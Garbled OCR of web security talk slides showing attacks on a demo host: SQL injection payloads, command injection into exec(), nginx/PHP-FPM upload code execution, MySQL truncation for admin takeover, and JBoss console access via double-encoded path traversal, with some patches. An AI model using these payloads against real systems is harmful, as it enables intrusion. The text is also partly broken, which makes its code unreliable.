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XXE

CSRFE

XSS

SQL Injection



Length Extension Attack JSONP Hijacking

HeartBleed
NERERCE ™ shellshock xxE ~ UXSS
Padding Oracle CSRF Bit-Flipping Attack

Padding Oracle XSS DNS Hijacking
SQL Injection
FastCGI RCE StrutsZ2 OGNL RCE

Rails YAML RCE
PHP Memory UAF OVERLAYFS Local Root
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Perl 22 Z $51%

@list
Shash

( 'Ba', 'Ba', 'Banana');
AN => 'Applell
'B' => 'Banana',
‘C' => @dlist };

1
=

print Dumper(S$Shash);



Perl 22 Z $51%

@list
Shash

|
vy,
Q

'Ba', 'Banana');
=> 'Apple',
'B' => 'Banana',
C' => @list };

|l
=
>

print Dumper(S$Shash);

A' => 'Apple',
'B' => 'Banana',
C' => ('Ba', 'Ba', 'Banana') };



Perl 22 Z $51%

@list
Shash

|
vy,
Q

'Ba', 'Banana');
=> 'Apple',
'B' => 'Banana',
C' => @list };

|l
=
>

print Dumper(S$Shash);

Shash = { 'A' => 'Apple',
'B' => 'Banana',
'c' => 'Ba',
'Ba' => 'Banana' };



Buglilla CVE-2014-15732

my Sotheruser = Bugzilla::User->create(

{
login name => $login name,
realname => Scgl->param( realname'),
cryptpassword => Spassword

})



Buglilla CVE-2014-15732

my Sotheruser = Bugzilla::User->create(

{
login name => $login name,
realname => Scgl->param( realname'),
cryptpassword => Spassword

})
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Windows #3115 PX 48 B e | P& &

» Windows API f&REHR1b¥F!H
- shell.php # shel>.php # shell"php # shell.<

» Windows Tilde %g#%&Z4F M

- /backup/20150707 002dfa0f3ac08429.zip
- /backup/201507~1.zip

« Windows NTFS %F%
- download.php::Sdata
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Al B NTFS 312218 MySQL
Pfugm__o(lr Iglivjp‘J

+ MySQL UDF I21E
- MySQL 5.1

- @Q@plugin dir

- Custom Dir -> System Dir -> Plugin Dir

- BEMHMEFNH into outfile EIZHE
- INTO OUTFILE 'plugins::$index allocation'

- mkdir plugins
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; HlnmASEME
¢ v.hackme.cc/v ’ — =

INT = @ SQL~ XSS+ Encryptionv Encodingv Other~

& Load URL http://hackme.cc/view.aspx
% Split URL

?sem="' UNION SELECT(user),null,null,null,
&noc=,null,null,null,null,null” =*/FROM dual--|
Execute

Enable Post data Enable Referrer

(D) ERFEER

NP E T B
o BUEMTTRERS AR AT ABILE  MAMAHWHER -

. EEERATEY - BREEHEETERAE -

o EEMRARBMD MR Proxy 1R » WWE Firefox M AV AEEUER -

http://hackme.cc/view.aspx

’sem=" UNION SELECT (user) , null,null, null,
gnoc=,null,null,null,null, null/*—=*/FROM
dual—-



= hackme.cc ¢ =

INT | @ © SQL~v XSS~ Encryptionv Encodingv Other~

@ oadURL  nwttpi/hackme.cc/view.aspx
4 Split URL

?sem="' UNION SELECT(user),null,null,null,
&noc=,null,null,null,null,null’* +*/FROM dual--
Execute

Enable Post data Enable Referrer

[
[ O
H BN

WEBJSP

http://hackme.cc/view.aspx

’sem=" UNION SELECT (user) ,null,null, null,
gnoc=,null,null,null,null, null/* [ */FROM
dual—-



= hackme.cc ¢ =

INT | @ © SQL~v XSS~ Encryptionv Encodingv Other~

@ oadURL  nwttpi/hackme.cc/view.aspx
4 Split URL

?sem="' UNION SELECT(user),null,null,null,
&noc=,null,null,null,null,null’* +*/FROM dual--
Execute

Enable Post data Enable Referrer

[
[ O
H BN

WEBJSP

http://hackme.cc/view.aspx

’sem=" UNION SELECT (user) ,null,null, null,
gnoc=,null,null,null,null, null/* [ */FROM
dual—-
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for($i=0; Si<count($Sargs); Si++){
if( !preg match('/"\w+s/', Sargs[$i]) ){
exit();
}
}

exec("/sbin/resize $args[0] Sargs[1l] Sargs[2]");

/resize.php
Parg[0]=uid. Jpg
garg[1]=800
garg[2]=600



for($i=0; Si<count($Sargs); Si++){
if( !preg match('/"\w+s/', Sargs[$i]) ){
exit();
}
}

exec("/sbin/resize $args[0] Sargs[1l] Sargs[2]");

/resize.php
Parg[0]=uid. jpg| slecep /|
garg[1]=800,slecp /;
&arg[2]=6005 (sleep /)



for($i=0; Si<count($Sargs); Si++){
if( !preg match('/"\w+s/', Sargs[$i]) ){
exit();
}
}

exec("/sbin/resize $args[0] Sargs[1l] Sargs[2]");

/resize.php
Parg[0]=uid. Jjpg-UA
gargl[l]=slecp
gargl[2]=/-0A
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- B2ZEFEB Nginx XHREITRIBEKINENIT webshell

& PHP B EHETAERE (2) 28 CcvE

PHP 1BEMALL Security by Default BFltItfERE



phpinfo)
> hackme.cc
GIF89a((neD(D0oyyy!ly
PHP Version 5.5.9-1ubuntu4.11

Linux dwos 3.13.0-43-generic #72-Ubuntu SMP Mon Dec 8 19:35:06 UTC 2014 x86_64

Build Date Jul 2 2015 15:36:53

Server API E PM/FastCGI

Virtual Directory dtsabled

Support

Configuration File fetc/phpSifpm

(php.ini) Path

Loaded fetc/phpSifpm/php.ini

Configuration File

Scan this dir for fetc/phpSifpm/cont.d

additional .ini files

Additional .ini files |/etc/phpS/fpm/conf.d/05-opcache.ini, /etc/phpS/ipm/cont.d/10-pdo.ini, /etc/php5
parsed /fpm/conf.d/20-json.ini, /etc/phpS/fpm/conf.d/20-mysal.ini, /etc/phpS/fpm/cont.d

f20-mysqli.ini, /etc/phpS/ipm/conf.d/20-pdo_mysql.ini, /etc/phpS/fpm/conf.d
f20-readline.ini

PHP API 20121113

PHP Extension 20121212
e —————
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; Patch from 80sec
if (Sfastcgi script name ~ ..*/.*php)
{

return 403;

}

http://www.80sec.com/nginx-securit.html



= hackme.cc/avatar.qif/s e ®

403 Forbidden

nginx/1.4.6 (Ubuntu)

It seems tTo work

http://hackme.cc/avatar.gif



phpinfo()
> hackme.cc
GIF89a((neD(D0oyyy!ly
PHP Version 5.5.9-1ubuntu4.11

Linux dwos 3.13.0-43-generic #72-Ubuntu SMP Mon Dec 8 19:35:06 UTC 2014 x86_64

Build Date Jul 2 2015 15:36:53

Server API E PM/FastCGI

Virtual Directory dtsabled

Support

Configuration File fetc/phpSifpm
(php.ini) Path

Loaded fetc/phpSifpm/php.ini
Configuration File

Scan this dir for fetc/phpSifpm/cont.d
additional .ini files

Additional .ini files |/etc/phpS/fpm/conf.d/05-opcache.ini, /etc/phpS/ipm/cont.d/10-pdo.ini, /etc/php5

parsed /fpm/conf.d/20-json.ini, /etc/phpS/fpm/conf.d/20-mysal.ini, /etc/phpS/fpm/cont.d
f20-mysqli.ini, /etc/phpS/ipm/conf.d/20-pdo_mysql.ini, /etc/phpS/fpm/conf.d
f20-readline.ini

PHP API 20121113
PHP Extension 20121212
e —————

http://hackme.cc/avatar.gif



How to Patch ?

NewLine
security.limit extensions (>PHP 5.3.9)
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Sname = $ POST[ 'name'];
Sr = query( SELECT * FROM users WHERE name=?', $name);

1f (count(sr) > 0){
die( 'duplicated name');

} else {
query( ' INSERT INTO users VALUES(?, ?)', $name, $pass);
die( 'registed');

}



mysql> CREATE TABLE users (
-> id INT,
-> name VARCHAR(255),
-> pass VARCHAR(255)
> )i
Query OK, 0 rows affected (0.00 sec)

mysqgl> INSERT INTO users VALUES(1l, 'admin', 'pass');
Query OK, 1 row affected (0.00 sec)

mysqgl> INSERT INTO users VALUES(2, 'admin c o x', 'xxd');
Query OK, 1 row affected, 1 warning (0.00 sec)

mysqgl> SELECT * FROM users WHERE name='admin';

to————— fom - to———— +
Ee! | name | pass |
t-———— fom - to———— +
| 1 | admin | pass |
| 2 | admin | xxd |
t-———— fom - to———— +

2 rows 1n set (0.00 sec)



How to Exploit

name: admin .. X

/

[space] x 250



How to Exploit

CVE-2009-2762 WordPress 2.6.1 Column Truncation Vulnerability



- CREATE TABLE users (id INT, name TEXT, ...)



CVE-2015-3440 WordPress 4.2.1 Truncation Vulnerability
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Sname = $ POST[ name'];
1f (strlen(Sname) > 16)
die( 'name too long');
Sr = query( SELECT * FROM users WHERE name=?', S$name);

1f (count(sr) > 0){
die( 'duplicated name');

} else {
query( ' INSERT INTO users VALUES(?, ?)', $name, $pass);
die( 'registed');

}



mysgl> CREATE TABLE users (
-> 1id INT,
—-> name VARCHAR(255),
-> pass VARCHAR(255)

-> ) DEFAULT CHARSET=utf8;
Query OK, 0 rows affected (0.00 sec)

mysql> INSERT INTO users VALUES(1l, 'admin', 'pass');
Query OK, 1 row affected (0.01 sec)

mysgl> INSERT INTO users VALUES(2, 'admin®x', 'xxd');
Query OK, 1 row affected, 1 warning (0.00 sec)

mysgl> SELECT * FROM users WHERE name='admin';

| 1d | name | pass |
t-————- t-————— t—————- +
| 1 | admin | pass |
| 2 | admin | xxd |
t-————- t-————— t—————- +

2 rows 1n set (0.00 sec)



How to Exploit

name: admin‘x

/

L L L



How to Exploit

CVE-2013-4338 WordPress < 3.6.1 Object Injection Vulnerability
CVE-2015-3438 WordPress < 4.1.2 Cross—-Site Scripting Vulnerability
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Suid = $ GET[ 'uid'];

1f ( 1s _numeric(Suid) )
query (" INSERT INTO blacklist VALUES($uid)");

suids = query("'SELECT uid FROM blacklist");
foreach ($Suids as Suid) {
show( query( SELECT log FROM logs WHERE uild=$uid") );

}



Suid = $ GET[ 'uid'];

1f ( 1s _numeric(Suid) )
query (" INSERT INTO blacklist VALUES($uid)");

suids = query("'SELECT uid FROM blacklist");
foreach ($Suids as Suid) {
show( query( SELECT log FROM logs WHERE uild=$uid") );

}



How to Patch ?

sgl mode = strict
utf8émb4



Web f3]BR 2577 [ R 1B 7/RF]

- BIERARER

- [FHZEMREERFZIEEREE URL ( W1 ProxyPass,
mod Jk... )




[i=] 404 Not Found
€ > hackme.cc

INT =@ SQL~ XSS~ Encryptionv Encodingv Other~

& Load URL http://hackme.cc/jmx-console/
4 Split URL

Execute

Enable Post data Enable Referrer

Not Found

The requested URL /jmx-console/ was not found on this server.

http://hackme.cc/jmx-console/



JBoss JMX Management Conso...
= hackme.cc

INT | @ @ SQL~v XSS+ Encryptionv Encodingv Other~

@ oadURL  ntp://hackme.co/sub/.%252e/jmx-console/
% Split URL
Execute

Enable Post data Enable Referrer

JMX Agent View ObjectName Filter {e.g.: "jboss:*", "*:service=invoker,*"):

Apply Filter Clear Filter

Thu Jul 30 23:57:02 CST 2015
hackme.localhost (0.0.0.0) - default o

Object Name Filter JMImplementation

Remove Object Name Filter

JMImplementation
com.arjuna.ats.properties
jboss

jboss.admin

SHEREE com.arjuna.ats.properties
jboss.aop

jboss.cache
jboss.classloader ¢ module=arjuna
iboss.deployment ¢ module=ita

* name=Default,service=LoaderRepository
¢ type=MBeanReqistry
* type=MBeanServerDelegate

http://hackme.cc/sub/.%252¢e/
jmx-console/

Deploy to GetShell



 uriworkermap.pro °*workers.properti

perties es
- /sub/*=ajpl - worker.ajpl.port=
- /sub=ajpl 80039

- worker.ajpl.host=
127.0.0.1

- worker.ajpl.type=
ajpl3



http://hackme.cc/sub/../jmx-console/

http://hackme.cc/sub/../jmx-console/

not matching *, return 404




http://hackme.cc/sub/.%252e/jmx-console/

http://hackme.cc/sub/.%2e/jmx-console/

http://hackme.cc:8080/sub/.%2e/jmx-console/

http://hackme.cc:8080/sub/../jmx-console/
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http://hackme.cc/admin%252f...
> hackme.cc/ad

INT |4 = © SQL~ XSS~ Encryptionv Encoding~ Other~

& Load URL http://hackme.cc/admin%252f%252ehtpasswd%2500.cfm
4 Split URL
Execute

Enable Post data Enable Referrer

AuthName "Restricted Area"
AuthType Basic

AuthUserFile /usr/local/apache2/htdocs/admin/.htpasswd
AuthGroupFile /dev/null
require valid-user

http://hackme.cc/admin$252f
s25b2ehtaccesss2500.crm



http://hackme.cc/admin/.htaccess

<FilesMatch " "*‘5, return 403



http://hackme.cc/admin%252f.htaccess

http://hackme.cc/admin$%$2f.htaccess

/admin%2f.htaccess found, return 404



http://hackme.cc/admin%$252f.htaccess%2500.cfm

http://hackme.cc/admin%2f.htaccess%00.cfm

End with .cfm, to ColdFusion

http://hackme.cc/admin%2f.htaccess%00.cfm

http://hackme.cc/admin/.htaccess .cfm



How to Patch ?



Q & A



